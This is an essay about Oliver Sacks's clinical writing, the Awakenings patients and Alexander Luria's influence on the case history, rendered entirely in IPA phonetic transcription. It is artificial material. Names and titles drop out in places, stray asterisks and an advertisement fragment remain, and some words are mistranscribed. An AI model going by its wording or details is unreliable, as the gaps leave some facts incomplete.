ɪn ðoʊz ˈfʊtˌnoʊts ðət kʊd bi mɔr ˌɪnˈtrigɪŋ ðən ðoʊz faʊnd ɪn ðə meɪn tɛkst. ˈgrætəˌtud, səʧ ə ˈpərsɪnəl bʊk, maɪt sim bət ə ˈfʊtˌnoʊt tɪ ˈdɑktər. ˈmɛdɪkəl kərɪr. bət ðət meɪks sɛns ɪf wi si ˈmɛdəsən ɛz ˈoʊnli əˈbaʊt "kjʊrz" ənd daɪɪŋ ɛz ˈsəmθɪŋ ɪt ˈnidənt kənˈsərn ˌɪtˈsɛlf wɪθ. ɪn ðiz ˈfaɪnəl ˈɛˌseɪz ˈdɑktər. sæks tʊk ɛz hɪz ˈpraɪˌmɛri ˈsəbʤɪkt ðə keɪs əv ˈɑlɪvər sæks hɪmˈsɛlf, ɪn ðə ˈprɔˌsɛs əv daɪɪŋ, tɪ tiʧ ˈjuˈɛs ˈsəmθɪŋ əˈbaʊt haʊ tɪ daɪ. ˈɑlɪvər ˈlɛgəsi wɑz tɪ rɪˈstɔr ə ˈvɪʒən əv ə hjuˈmeɪn ˈmɛdəsən ðət dru ɪts paʊər nɑt frəm ˌtɛknəˈlɑʤɪkəl ˈbreɪkθˌruz əˈloʊn, bət θru ðə ˈhilɪŋ paʊər əv ðə riˈleɪʃənˌʃɪp. ɪt hæd ruts ɪn ə mɔr ˌoʊldˈfæʃənd vju ðət keɪm ɪn pɑrt frəm hɪz ˈfɑðər, hu hæd kloʊz riˈleɪʃənˌʃɪps wɪθ hɪz ˈpeɪʃənz ənd dɪd ˈfrikˌwɛnt haʊs kɔlz. ɪt wɑz ə fɔrm əv kɛr ðət rikˈwaɪərd ən ˈɔlˌmoʊst ˌɪˈmərʒən ɪn ðə lɪvz əv hɪz ˈpeɪʃənz baɪ ˈdɑktər. sæks, wɪʧ əˈlaʊd ɪm tɪ drɔ ˈpɔrtrəts əv ˈjumən biɪŋz əv ən ˌɪnˈkɑmpərəbəl ˈsətəlti ənd ˌsɛnsɪˈtɪvɪti, waɪl ˈʃɛdɪŋ nu laɪt ɔn ðə ˈmɪstəriz əv ðə breɪn. hi ˈɔlsoʊ rɪˈʤuvəˌneɪtɪd fər ˈjuˈɛs ðə rɪʧ trəˈdɪʃən əv ðə keɪs ˈhɪstəri. jɛt ˈdɑktər. traɪəmf dɪd nɑt kəm ˌɪˈmiˌdiətli ər wɪˈθaʊt ˌɑpəˈzɪʃən. ˈstɔri kənˈtɪnjuz bɪˈloʊ ˌædvərˈtaɪzmənt ˈlɪtəl ɛnˈkərɪʤmənt frəm maɪ ˈkɑligz," hi roʊt, aɪ bɪˈkeɪm ə ˈstɔriˌtɛlər æt ə taɪm wɪn ˈmɛdɪkəl ˈnɛrətɪv wɑz ˈɔlˌmoʊst ɪkˈstɪŋkt. ɪt wɑz ə ˈloʊnli bət ˈdipli ˈsætɪsˌfaɪɪŋ, ˈɔlˌmoʊst ɪgˈzɪstəns ðət aɪ wɑz tɪ lɛd fər ˈmɛni jɪrz." ɪt meɪ saʊnd ə streɪnʤ kleɪm, bət ðə dɪˈteɪld keɪs ˈhɪstəri wɪʧ ɪn ðə ˈsɛnʧəri prəˈdust səm əv ðə ˈfaɪnəst dɪˈskrɪpʃənz əv ˈpeɪʃənz ˈɛvər ˈrɪtən hæd ɔl bət ˌdɪsəˈpɪrd frəm ðə nʊˈrɑləʤi ˈʤərnəlz wɪn ˈdɑktər. sæks ˈstɑrtɪd ˈraɪtɪŋ, ənd, ˈivɪn təˈdeɪ, ɪt ɪz rɛr. ðə greɪt nʊˈrɑləʤəsts, ˈlækɪŋ skænz, eegs*, ənd stəˈtɪstɪks, pərˈfɛktəd ðɛr skɪlz ənd ðə ɑrt əv ˈtɔkɪŋ tɪ ˈpeɪʃənz soʊ ɛz tɪ hɛlp ðɛm dɪˈskraɪb haʊ ðoʊz ˈpeɪʃənz' ˈmɛntəl ɪkˈspɪriənsɪz wər ˈɔltərd baɪ ðɛr breɪn ˈprɑbləmz. wɪθ ðə ˈædˌvɛnt əv ˈmɑdərn læb ənd ˈskænɪŋ tɛkˈniks, ðiz ənd kəmˈjunəkətɪv skɪlz ˈætrəfid. ðə ˈʤərnəlz ʧeɪnʤd, tu. dɪˈteɪld əˈkaʊnts əv ˌɪndəˈvɪʤəwəl ˈpeɪʃənz ˌɪnˈkrisɪŋgli ˌdɪsəˈpɪrd, ˌriˈpleɪst baɪ grup ˈstədiz əv "ˈsəbʤɪkts," dɪˈskraɪbd ɪn mɔr ˈæbˌstrækt, stəˈtɪstɪkəl tərmz, beɪst ɔn ðɛr skænz ənd skɔrz ɔn tɛsts. ˌɪnˈstɛd əv rɪˈpɔrtɪŋ wət wɑz juˈnik əˈbaʊt ə ˈpeɪʃənt, ˈstədiz ˌriˈpɔrtəd wət wɑz ˈævərɪʤ əˈbaʊt ə ˌpɑpjəˈleɪʃən. ənd ˈævrɪʤɪz smɪr aʊt wət ɪz juˈnik əˈbaʊt ˌɪndəˈvɪʤəwəlz. ənd ɪf ən ˌɪndəˈvɪʤəwəl ˈpeɪʃənt wɑz dɪˈskraɪbd, ɪt wɑz ˈɔfən ɪn ə ˈænɪkˌdoʊt nɑt tɪ bi kənfˈjuzd wɪθ ə dɪˈteɪld keɪs ˈhɪstəri. ɪf ˈɛniˌθɪŋ, ðə ˈænɪkˌdoʊt wɑz ˌɪnˈtɛnʃənəli ˈnɑndɪˈskrɪpt, səˈprɛsɪŋ ˈpərsɪnəl ˈditeɪlz, bɪˈkəz ɪt ˈfoʊkɪst nɑt ɔn ðə ˈpərsən wɪθ ðə dɪˈziz, bət ðə dɪˈziz ˌɪtˈsɛlf. tɪ səm teɪsts, ðɪs meɪd ðə ˈænɪkˌdoʊt sim mɔr "ˌsaɪənˈtɪfɪk." ˈæftər ɔl, ə ˌdaɪəgˈnoʊsəs dɪˈskraɪbz ə dɪˈziz, ˈsəmθɪŋ ðət ɪz səˈpoʊzd tɪ bi ˈfɛrli ˌɪnˈvɛriənt frəm ˈpərsən tɪ ˈpərsən. ə ˌdaɪəgˈnoʊsəs ɪz wət ə grup əv ˈpipəl hæv ɪn ˈkɑmən, nɑt wət dɪˈstɪŋgwɪʃɪz ðɛm frəm iʧ ˈəðər. ɪn ðɪs freɪm əv maɪnd, ðə ˈmɛntəl laɪf əv ðə ˈpərsən wɪθ ðə ˈɪlnəs ɪz ə dɪˈstrækʃən. wən əv ˈɑlɪvər ˈmɛni boards”*” frəm hɪz deɪz. ˈɑlɪvər ˈbreɪkθˌru bʊk wɑz beɪst ɔn hɪz wərk æt ə ˈbækwərd ˈhɑˌspɪtəl, bɛθ ˈeɪbrəˌhæm, ɪn ðə brɑŋks. ɪt wɑz ðə kaɪnd əv pleɪs kənˈvɛnʃənəli æmˈbɪʃəs fɪˈzɪʃənz əˈvɔɪdɪd. ðɛr hi dɪˈskəvərd əˈbaʊt 80 ˈpeɪʃənz hu hæd ˈsəfərd ən ˈɪlnəs kɔld ɛnˌsɛfəˈlaɪtəs lethargica*, wɪʧ lɛft ðɛm, ˈæftər ə ˈpɪriəd əv greɪt ˈnərvəs ɪkˈsaɪtmənt, wɪθ "sˈlipɪŋ ˈsɪknəs," ˈɔfən ˈfroʊzən ɪn fɪkst ˈpɑsʧərz, laɪk "ˈlɪvɪŋ ˈstæˌʧuz," mjut ənd əˈneɪbəl tɪ muv. ən ˈərliər fəˈzɪʃən hæd dɪˈskraɪbd ðɛm ɛz "ɪkˈstɪŋkt vɑlˈkeɪnoʊz." ˈsəmˌtaɪmz, ˈivɪn ðɛr θɔt ˈprɑsɛsəz wər ɪn ə kaɪnd əv səˈspɛndɪd ˌænəˈmeɪʃən. ðeɪ hæd bɪn ðɪs weɪ fər fɔr ˈdɛkeɪdz. tɪ ˌəndərˈstænd ðiz ˈɔfən mjut ˈpeɪʃənz, ˈdɑktər. sæks ˈtoʊtəli ˌɪˈmərst hɪmˈsɛlf ɪn ðɛr lɪvz, muvd ˈɪntu ðə ˈhɑˌspɪtəl əˈpɑrtmənt, ənd tʊk kɔl ˈɛvəri naɪt fər ˈɔlˌmoʊst fɔr jɪrz, ˈæftər ˈwərkɪŋ hɪz ˈrɛgjələr deɪz. ˈoʊvər taɪm, hi bɪˈgæn tɪ sɔrt aʊt ðɛr ˌɪndəˈvɪʤəwəl ˈkɛrɪktərz, ənd ˈnoʊtɪd ðət ðeɪ hæd ˈpɑrkɪnsənz ˈsɪmptəmz. hi ɪˈvɛnʧəwəli dɪˈskəvərd ðeɪ rɪˈspɑndɪd tɪ ə nu drəg,. ˈfɔrmər "ˈstæˌʧuz" tərnd ˈɪntu ˈflæpərz, ənd dænst təˈgɛðər. ðoʊ ˈmɛni wər ˈpʊʃɪŋ 70 ðeɪ fɛlt ɛz ɪf ðeɪ wər ɪn ðɛr tˈwɛntiz, ənd spoʊk ˈjuzɪŋ ˈfreɪzɪz, ənd ˈæksɛnts əv ðɛr juθ. ðɛr ˈfeɪsɪz simd tɪ kənˈfərm ðət səˈspɛnʃən əv taɪm: ˌɪˈmoʊˌbil ənd ɪkˌsprɛʃənlɪs fər soʊ lɔŋ, ðeɪ ˈhædənt fɔrmd ˈrɪŋkəlz. hɪz fərst faɪv ˈmɛdɪkəl rɪˈpɔrts, dɪˈskraɪbɪŋ ðɛr proʊˈfaʊndli ˈmuvɪŋ ənd drəˈmætɪk "awakenings*" ɔn ðə drəg, rɪˈsivd ˈvɛri ˈpɑzətɪv rɪˈspɑnsɪz wɪn ˈpəblɪʃt ɪn ˈmeɪʤər ˈmɛdɪkəl ˈʤərnəlz, səʧ ɛz ðə ˈlænsət ənd ðə ˈʤərnəl əv ðə əˈmɛrɪkən ˈmɛdɪkəl əˌsoʊʃiˈeɪʃən. lɛs wɛl noʊn, bət ə ˈkruʃəl spər tɪ hɪz dɪˈvɛləpmənt ɛz ə ˈθɪŋkər ənd klɪˈnɪʃən, wɑz wət ˈhæpənd ˈæftər. ˈdɑktər. sæks ˌriˈpɔrtəd ðət, wɪˈθɪn mənθs, hɪz ˈpeɪʃənz ɪkˈspɪriənst ˈmeɪʤər saɪd ˈifɛkts ɔn, ənd ˈkɔʃənd ðət ˈmeɪbi ðiz ˈpipəl wər ˈsɛnsɪtɪv "kəˈnɛriz ɪn ðə koʊl maɪn," ənd ðət maɪt bɛst bi juzd wɪθ ˈkɔʃən ɔn mɔr ˈtɪpɪkəl ˈpɑrkɪnsənz ˈpeɪʃənz. hi wɑz ˈvɪʃəsli əˈtækt. səm sɛd hi wɑz "ɔf hɪz hɛd," ənd ðət noʊ səʧ saɪd ˈifɛkts əˈkərd. wɪn hi traɪd tɪ ˈpəblɪʃ ə ˌsɪstəˈmætɪk ˈstədi əv ðiz "saɪd ˈifɛkts" (wɪʧ hi θɔt wər ˈrɪli "ˈifɛkts" əv ðə drəg) ɪn ðə seɪm ˈmɛdɪkəl ˈʤərnəlz ðət hæd ˈpəblɪʃt hɪz fərst ˈfaɪndɪŋz, ənd ˈəðərz, hi wɑz rɪfˈjuzd. ˈdɑktər. sæks wɑz strək baɪ haʊ hɪz ˈkɑligz, ðoʊ ðeɪ θɔt əv ðɛmˈsɛlvz ɛz ˈsaɪəntɪsts, wər ˈjuzɪŋ ˈɔlˌmoʊst rɪˈlɪʤəs ˈlæŋgwɪʤ, dɪˈskraɪbɪŋ ɛz ə "ˈmɪrəkəl drəg." ənd soʊ hi bɪˈgæn tɪ haʊ ˈjərnɪŋz draɪv ˈlɔŋɪŋz ɪn ˈdɑktərz ənd ˈpeɪʃənz əˈlaɪk, ənd ˈkələr ɑr vjuz əv ˌmɛdəˈkeɪʃən, ˈtritmənt, ənd, ˌɪnˈdid, ðə hoʊl wərld əv ˈɪlnəs. hi ˈpəblɪʃt hɪz ˈfaɪndɪŋz ɪn 1973 nɑt ɪn ə ˈmɛdɪkəl ˈʤərnəl, bət ɪn ə bʊk mɛnt fər ˈɛniˌwən hu wɑz ˈɪntəˌrɛstɪd:. ɛz jɪrz pæst, ənd ðə saɪd ˈifɛkts ˈdɑktər. sæks əbˈzərvd wər sin baɪ ˈəðərz, ðə bʊk bɪˈkeɪm ə ˈklæsɪk wɪθ ðə leɪ ˈpəblɪk ənd nʊˈrɑləʤəsts əˈlaɪk, ənd wɑz əˈdæptɪd ˈɪntu ə ˈwɛlˈnoʊn fɪlm, bət nɑt ˌbiˈfɔr hi wɑz faɪərd fər ˈdɛrɪŋ tɪ kˈwɛʃən əˈθɔrəti, ənd toʊld baɪ hɪz bɔs tɪ ˈveɪkeɪt ðə əˈpɑrtmənt æt bɛθ ˈeɪbrəˌhæm, dɪˈpraɪvɪŋ ɪm əv hɪz hoʊm, hɪz ʤɑb ənd, moʊst ˌɪmˈpɔrtənt, hɪz ˈrɛgjələr ˈækˌsɛs tɪ hɪz ˈpeɪʃənz. ˈdɑktər. sæks ɪn nu jɔrk ˈsərkə 1970 bɪˈkeɪm ə səkˈsɛs, bət ɪt ˈwəzənt ənˈtɪl 12 jɪrz ˈleɪtər, wɪn ðə mæn hu mɪˈstʊk hɪz waɪf fər ə hæt keɪm aʊt, ðət ˈdɑktər. sæks bɪˈkeɪm ə ˈbɛˈsɛlɪŋ ˈɔθər. hæt, ɛz hɪz frɛndz keɪm tɪ kɔl ɪt, ɪkˈspleɪnz haʊ dɪˈskrit ˈloʊkəˌlaɪzd breɪn ˈprɑbləmz lɛd tɪ ˈvɛri spɪˈsɪfɪk ˈʧeɪnʤɪz ɪn ˈmɛntəl ɪkˈspɪriəns. ðə "mæn" əv ðə ˈtaɪtəl, ˈdɑktər. pi., ə mˈjuzɪk ˈtiʧər, hæd ə ˈliʒən ɪn ə spɪˈsɪfɪk ˈvɪʒəwəl ˈɛriə əv ðə breɪn. ðə moʊst ˈfeɪməs sin ɪn ðə bʊk bɪˈgɪnz wɪn ˈdɑktər. pi., bɪˈlivɪŋ ðət ˈdɑktər. sæks hæd ʤɪst ˈfɪnɪʃt ɪgˈzæmɪnɪŋ ɪm, "ˈstɑrtɪd tɪ lʊk əraʊnd fər hɪz hæt. hi riʧt aʊt hɪz hænd ənd tʊk hoʊld əv hɪz waɪfs hɛd, traɪd tɪ lɪft ɪt ɔf, tɪ pʊt ɪt ɔn. hɪz waɪf lʊkt ɛz ɪf ʃi wɑz juzd tɪ səʧ θɪŋz." wɪn ˈdɑktər. pi. wɑz ˈwɔkɪŋ ɪn ðə strit hi wʊd, ˈsəmˈwət magoo-like*, "pæt ðə hɛdz əv ənd parking-meters*, ˈteɪkɪŋ ðiz tɪ bi ðə hɛdz əv ˈʧɪldrən." ɪf wɑz ə ˈfivərɪʃ, ˈtaɪdəl bʊk, ˌoʊvərˈwɛlmɪŋ wɪθ ɪts ˈstɔriz əv ˈlɪvɪŋ dɛθ, ˌrɛzərˈɛkʃən, ənd ˈlɪvɪŋ dɛθ rɪˈtərnd, hæt wɑz ə mɔr ˈklæsɪkəl wən: ˈməltəpəl, ˈklɪnɪkəl teɪlz, ˈrɪtən wɪθ greɪt ʧɑrm, əˈbaʊt haʊ breɪn ˈprɑbləmz lɛd tɪ ˈlɔsɪz, ər ˌɛkˈsɛsɪz, əv ˈmɛntəl ækˈtɪvɪti. hæts ˈprɛfəs ˌɪnˈkludɪd ˈpaʊərfəl ˈɑrgjəmənts fər waɪ keɪs ˈhɪstəriz ər ˈɛvəri bɪt ɛz ˈmɛdɪkəli ˌɪmˈpɔrtənt ɛz ˈstədiz. ðə aɪˈdiə əv ðə keɪs ˈhɪstəri goʊz bæk tɪ ˈeɪnʧənt gris, ənd ˈhɪpəˌkreɪts, hu fərst roʊt əˈbaʊt dɪˈzizɪz ˈhævɪŋ ə kɔrs, ə weɪ əv ənˈfoʊldɪŋ ɪn taɪm. ˈdɑktərz bɪˈgæn tɪ raɪt "ˈhɪstəriz" əv ðɛr ˈpeɪʃənz' ˈɪlnəsɪz, ɛˈsɛnʃəli baɪˈɑgrəfiz əv dɪˈziz, bət, ˈdɑktər. sæks ˈɑrgjud, ðeɪ wər ˈrɪli "pathographies*" əv ðə ˈɪlnəsɪz ðɛmˈsɛlvz, ɪn wɪʧ ðə ˈjumən ˈsəbʤɪkts ˈlɑrʤli ˌdɪsəˈpɪrd. ˈdɑktər. sæks ˈɑrgjud ðət ðɪs kənˈvɛnʃən wɑz noʊ ˈlɔŋgər səˈfɪʃənt, ənd roʊt, "tɪ rɪˈstɔr ðə ˈjumən ˈsəbʤɪkt æt ðə ˈsɛntər ðə ˈsəfərɪŋ, əˈflɪktɪd, ˈfaɪtɪŋ ˈjumən ˈsəbʤɪkt wi məst ˈdipən ə keɪs ˈhɪstəri tɪ ə ˈnɛrətɪv ər teɪl." ðiz ˈklɪnɪkəl teɪlz, laɪk ˈklæsɪkəl ˈfeɪbəlz, "hæv ˈɑrkˈtaɪpəl ˈfɪgjərz ˈhɪroʊz, ˈvɪktɪmz, ˈmɑrtərz, ˈwɔrjərz," bɪˈkəz "ˈpeɪʃənz ər ɔl əv ðiz," ənd mɔr, "ˈtrævələrz tɪ ˌənɪˈmæʤɪnəbəl lændz." ðɪs ˌrɛstərˈeɪʃən əv ðə ˈpərsən tɪ ðə ˈsɛntər wɑz əˈspɛʃəli, ənd ˈɑbviəsli, ˈnɛsəˌsɛri fər nʊˈrɑləʤi, saɪˈkɑləʤi ənd sɪˈkaɪətri, ˈdɑktər. sæks roʊt ɪn hæt, "fər hir ðə ˈpeɪʃənts ɪz ɛˈsɛnʃəli ˌɪnˈvɑlvd, ənd ðə ˈstədi əv dɪˈziz ənd aɪˈdɛntəˌti ˈkænɑt bi disjoined*." ðə ˈstrɔŋgəst ˈsɪŋgəl ˈɪnfluəns ɔn ˈdɑktər. aɪˈdiə əv haʊ tɪ dɪˈvɛləp ðiz "ˈklɪnɪkəl teɪlz" wɑz ðə ˈrəʃən ˈsaɪəntɪst ˈlʊriə ɪt wɑz frəm ˈdɑktər. ˈlʊriə ðət ˈdɑktər. sæks gɑt ðə ˌɪnspərˈeɪʃən ənd ðə ˈmɑdəl ðət wʊd əˈlaʊ ɪm tɪ meɪk ðə keɪs ˈhɪstəri hɪz ˈmeɪʤər ˈfoʊkɪs. ˈdɑktər. ˈlʊriə, ɛz ə ˈvɛri jəŋ mæn, wɑz ə ˈmeɪʤər kənˈtrɪbjətər tɪ ðə dɪˈvɛləpmənt əv ˌsaɪkoʊəˈnælɪsɪs ɪn hɪz ˈkəntri, ənd ˌkɔrəˈspɑndɪd əˈbaʊt ðə ˈsəbʤɪkt wɪθ ˈsɪgmənd frɔɪd hu wɑz ərˈɪʤənəli ə nʊˈrɑləʤəst, ənd hu, əˈkɔrdɪŋ tɪ ˈdɑktər. sæks, roʊt case-histories*." ˈdɑktər. ˈlʊriə wɑz drɔn tɪ æˈnælɪsɪs bɪˈkəz ɪt wɑz, ɛz fɑr ɛz hi nu, ðə ˈoʊnli brænʧ əv saɪˈkɑləʤi ðət tʊk boʊθ məˈtɪriəlɪst saɪəns ənd ˈjumən səbʤɛkˈtɪvɪti ˈsɪriəsli. bət ðɪs wɑz nɑt tɪ læst. ɪn ðə leɪt 1920s*, ˈəndər ˈʤoʊzəf ˈstɑlən, ˌsaɪkoʊəˈnælɪsɪs wɑz dɪˈkrid "ˈplɪtɪkli ˌɪnkərˈɛkt." wən mənθ ˈæftər ˈgɪvɪŋ ə ˌsɪmpəˈθɛtɪk ˈlɛkʧər ɔn frɔɪdz θɔt, ˈdɑktər. ˈlʊriə, ˈfɪrɪŋ fər hɪz sərˈvaɪvəl, ˈpəblɪkli rɪˈnaʊnst hɪz ˌaɪdiəˈlɑʤɪkəl "mɪˈsteɪk," ənd əˈbrəptli rɪˈzaɪnd frəm ðə ˈrəʃən soʊˈsaɪɪti. hi wɛnt ɔf tɪ ˈmɛdɪkəl skul, ənd ˌriɪnˈvɛntɪd hɪmˈsɛlf, ˌpaɪəˈnɪrɪŋ ðə fild əv ənd ðə ˈstədi əv ðə haɪər ˈkɔrtəkəl ˈfəŋkʃənz əv ðə breɪn. hi ˈpəblɪʃt kənˈvɛnʃənəl ənd ˈtritəsəz. bət ɪn ˈpraɪvət ˈlɛtərz tɪ ˈdɑktər. sæks, ɪn 1976 ˈdɑktər. ˈlʊriə meɪd klɪr ðət hi stɪl tʊk ˌsaɪkoʊəˈnælɪsɪs ˈsɪriəsli, ənd ɪn wən hi ˈɔfərd ə ˌsaɪkoʊˌænəˈlɪtɪk ˌɪnˌtərprɪˈteɪʃən əv wən əv ˈdɑktər. ˌnʊrəˈlɑʤɪkəl ˈpeɪʃənz. ðoʊ hi hæd ˌdɪsəˈvaʊd hɪz kəˈmɪtmənt tɪ æˈnælɪsɪs, ˈdɑktər. ˈlʊriə hæd bɪn ˈraɪtɪŋ əp ˌnʊrəˈlɑʤɪkəl keɪs ˈhɪstəriz ɪn ðə dɪˈteɪld ˈmænər əv frɔɪd, ɪn ˈsikrɪt, fər ˈdɛkeɪdz. wɪn ˈdɑktər. sæks fərst rɛd wən əv ðiz ˈkeɪsɪz, ˈdɑktər. ðə maɪnd əv ə mnemonist*, ɪn 1968 (əˈbaʊt ə ˈrəʃən wɪθ ən ˈɔlˌmoʊst ˈpərˌfɪkt ˈmɛməri hu meɪd hɪz ˈlɪvɪŋ pərˈfɔrmɪŋ fits ɔn steɪʤ, bət hu wɑz ˈɔlsoʊ ˈdipli ˈtɔrˌmɛntɪd bɪˈkəz hi kʊd nɑt, laɪk moʊst ˈpipəl, ˌɔtəˈmætɪkli fərˈgɛt ənɪmˈpɔrtənt ɪˈvɛnts), ˈdɑktər. sæks θɔt ɪt məst hæv bɪn ə ˈnɑvəl, ˈdɑktər. ˈlʊriə hæd soʊ wɛl dɪˈskraɪbd ðə mænz ənˈjuˌʒuəl səˈbʤɛktɪv ɪkˈspɪriəns. wɪn hi ˈriəˌlaɪzd ɪt wɑz nɑnˈfɪkʃən, ˈdɑktər. sæks wɑz soʊ fɪld wɪθ ˌædmərˈeɪʃən ðət hi ˈɔlsoʊ bɪˈkeɪm ˌoʊvərˈwɛlmd wɪθ fɪr, ˈθɪŋkɪŋ, pleɪs ɪz ðɛr fər mi ɪn ðə wərld? ˈlʊriə həz ɔˈrɛdi sin, sɛd, ˈrɪtən, ənd θɔt ˈɛniˌθɪŋ aɪ kən ˈɛvər seɪ, ər raɪt, ər θɪŋk." ˈdɑktər. sæks wɑz soʊ ˈəpˌsɛt ðət hi tɔr ðə ˈlaɪbrɛˌri ˈkɑpi hi wɑz ˈrɛdɪŋ ɪn tu ðɛn, ˈgɪtɪŋ ə hoʊld əv hɪmˈsɛlf, wɛnt aʊt ənd bɔt wən rɪˈpleɪsmənt ˈkɑpi fər ðə ˈlaɪbrɛˌri, ənd wən fər hɪmˈsɛlf. vərˈbeɪtəm: ˈɑlɪvər sæks ɔn ðə ɑrt əv ˈraɪtɪŋ ˈdɑktər. sæks ˈkrɛdɪts ðət bʊk wɪθ ˈɔltərɪŋ ðə kɔrs əv hɪz laɪf. ðə nɛkst ˈsəmər, hi roʊt ðə fərst naɪn keɪs ˈhɪstəriz əv. ˈdɑktər. ˈlʊriə, tɪ hum ðə bʊk wɑz ˈdɛdəkeɪtəd, wɑz dɪˈlaɪtɪd, ənd roʊt tɪ ˈdɑktər. sæks ðət ðə kaɪnd əv əˈproʊʧ ˈteɪkən ɪn "ɪz lɔst naʊ, pərˈhæps bɪˈkəz əv ðə ˈbeɪsɪk mɪˈsteɪk ðət məˈkænɪkəl ənd ɪˈlɛktrɪkəl dɪˈvaɪsɪz kən ˌriˈpleɪs ðə ˈstədi əv ˌpərsəˈnælɪti." wɪθ "ðə ˈædˌvɛnt əv ðə nu ˌɪnstrəˌmɛnˈteɪʃən," tɛkˈnɑləʤi wɑz ˈgɪtɪŋ bɪtˈwin ðə fəˈzɪʃən ənd ðə ˈpeɪʃənt. "ðə fɪˈzɪʃənz əv ɑr taɪm, ˈhævɪŋ ə ˈbætəri əv ɑgˈzɪljəri ˈlæbrəˌtɔri eɪdz ənd tɛsts, ˈfrikwɛntli ˈoʊvərˌlʊk ˈklɪnɪkəl ˌriˈæləˌti." ðɪs wʊd sim ən ɪkˈstrim ˈsteɪtmənt; ˈæftər ɔl, waɪ məst nu ˌtɛknəˈlɑʤɪkəl tulz lɛd tɪ ə lɔs əv ˈklɪnɪkəl ˌriˈæləˌti? kən wi nɑt hæv boʊθ? kən wən nɑt ɛnˈhæns ðə ˈəðər? ənd jɛt, ˈdɑktər. ˈlʊriə, əˈkɔrdɪŋ tɪ ˈdɑktər. sæks, bɪˈlivd ðət ðɛr wɑz ə "kənˈsɛpʧuəl ənd ˈiˌmoʊʃənəl ˈætməsˌfɪr" ðət keɪm wɪθ tɛkˈnɑləʤi ðət kæst ə ˈʃæˌdoʊ ˈoʊvər ðə riˈleɪʃənˌʃɪp. ðɪs əˈkərz, aɪ wʊd ˈɑrgju, bɪˈkəz tɛkˈnɑləʤi ɪz nɑt ˈsɪmpli ˈsəmθɪŋ wi juz; ɪt kəmz pɑrt ənd ˈpɑrsəl wɪθ ə ˌpɑˈtɪkjələr ˈmɛdɪkəl ˈθɪri ənd ˈpræktɪs. ˈmɑdərn ˌsaɪənˈtɪfɪk ˈmɛdəsən həz ˈteɪkən ə ˌfəndəˈmɛnəli məˈtɪriəlɪst əˈproʊʧ, ənd ɪt ɪz "ˌænəˈlɪtɪkəl," ˈminɪŋ ðət ɪt dɪˈvaɪdz hoʊlz ˈɪntu pɑrts. ɪt ˈɔfən prəˈsidz baɪ rɪˈdusɪŋ ˈkɑmplɛks fəˈnɑmənə tɪ ðɛr mɔr ˌɛləˈmɛnʧri ˈkɛmɪkəl ənd ˈfɪzɪkəl kəmˈpoʊnənts: ˈvaɪrəsɪz, ʤinz, ˈmɑləˌkjulz, ənd soʊ ɔn. ɑr tɛkˈnɑləʤi ˈmɛʒərz ðiz ˈɛləmənts. ðət ɪz wət wi du wɪn wi dɪˈtərmən ðət ə ˈpeɪʃənt həz ə ˈfivər ənd ˈtrəbəl ˈbriðɪŋ bɪˈkəz hər ləŋ ɪz ˌɪnˈfɛktɪd wɪθ ˌmaɪkrəˈskɑpɪk bækˈtɪriə. ɪn saɪˈkɑləʤi, ðɪs məˈtɪriəlɪst ˈθɪri eɪmz tɪ rɪˈdus ɔl ˌsaɪkəˈlɑʤɪkəl fəˈnɑmənə tɪ ˌfɪziəˈlɑʤɪkəl lɔz əv haʊ ðə breɪn wərks. ðə goʊl ɪz ˈəltəmətli tɪ bɪld əp ˈæbˌstrækt ˈmɑdəlz əv ðə breɪn, beɪst ɔn ðə ˌɑbzərˈveɪʃən əv ɪts ˌɪndəˈvɪʤəwəl ˈɛləmənts. bət, ˈdɑktər. ˈlʊriə ˈwərid, "wən ˈaʊtˌkəm əv ðɪs əˈproʊʧ ɪz ðə rɪˈdəkʃən əv ˈlɪvɪŋ ˌriˈæləˌti wɪθ ɔl ɪts ˈrɪʧnəs əv ˈditeɪl tɪ ˈæbˌstrækt ˈskiməz." ˈdɑktər. ˈlʊriə ˈwɔntɪd tɪ rɪˈstɔr ðə hoʊl ˈpeɪʃənt tɪ ˌsaɪənˈtɪfɪk ˈpeɪpərz, ənd liv əˈsaɪd ðə æbˈstrækʃənz, ənd ˈivɪn, hi kənˈfɛst, ðə dɪˈskrɪpʃən əv ˌpərsəˈnælɪti wɪθ stəˈtɪstɪks. kən wi ˈjumən biɪŋz bi ˌəndərˈstʊd ˈsoʊəli ɪn tərmz əv ɑr ˈɛləmənts, ɑr ˈmɑləˌkjulz, ˈætəmz, ɑr pɑrts, ɑr ˈsərkəts, ɑr ˈriflɛksəz, ˈivɪn ɑr bɪˈheɪvjərz? ər məst nɑt ɔl əv ɪt bi ˌəndərˈstʊd ɛz pɑrt əv ə hoʊl ɪkˈspɪriəns, wɪʧ wʊd ˌɪnˈklud, əv kɔrs, ðə səˈbʤɛktɪv, kˈwɑləˌteɪtɪv ˈmɛntəl ɪkˈspɪriənsɪz ənd ˌɪnˈtɛnʧənz ðət draɪv bɪˈheɪvjər? ðɪs wɑz nɑt ə draɪ dəˈbeɪt əˈbaʊt haʊ tɪ rɪˈpɔrt saɪəns, bət əˈbaʊt ə proʊˈfaʊnd ˌfɪləˈsɑfɪkəl ˈdɪfərəns. wɪn ˈdɑktər. ˈlʊriə wɑz ə jəŋ mæn, hi pərˈzɛnəd hɪz fərst bʊk, ðə ˈneɪʧər əv ˈjumən ˈkɑnflɪkts 1932 wɪʧ eɪmd tɪ bi boʊθ əˈbʤɛktɪv bət ˈɔlsoʊ tɪ rɪˈpɔrt ɔn ˈkeɪsɪz ɪn ˈditeɪl, tɪ ðə ˈrəʃən saɪˈkɑləʤəst ˈaɪvən ˈpævlɑv, ˌɪnˈvɛntər əv behaviourism*. ə deɪ ˈleɪtər, wɪn ˈdɑktər. ˈlʊriə mɛt ɪm, ðə oʊld mænz aɪz wər ˈbleɪzɪŋ, ənd hi tɔr ðə bʊk ɪn hæf ənd θru ɪt tɪ ðə graʊnd, ˈrɔrɪŋ, "ju kɔl ðɪs saɪəns! saɪəns prəˈsidz frəm ˌɛləˈmɛnʧri pɑrts ənd bɪldz əp; hir ju ər dɪˈskraɪbɪŋ bɪˈheɪvjər ɛz ə hoʊl!" ˈdɑktər. ˈlʊriə wɑz dɪˈklɛrd "un-pavlovian*" ənd "un-soviet*," ənd hæd tɪ kip hɪz ɪkˈstɛnsɪv keɪs ˈhɪstəriz ɪn ðə drɔr fər əˈbaʊt 30 jɪrz ˌbiˈfɔr ˈdɛrɪŋ tɪ ˈpəblɪʃ ðɛm, ənd ˈoʊnli ˈæftər ˈhævɪŋ fərst ˈpəblɪʃt ˈmɛni ˈstændərd grup ˈstədiz ənd ˈtritəsəz. grup ˈstədiz lʊk æt ˈæˌspɛkts əv 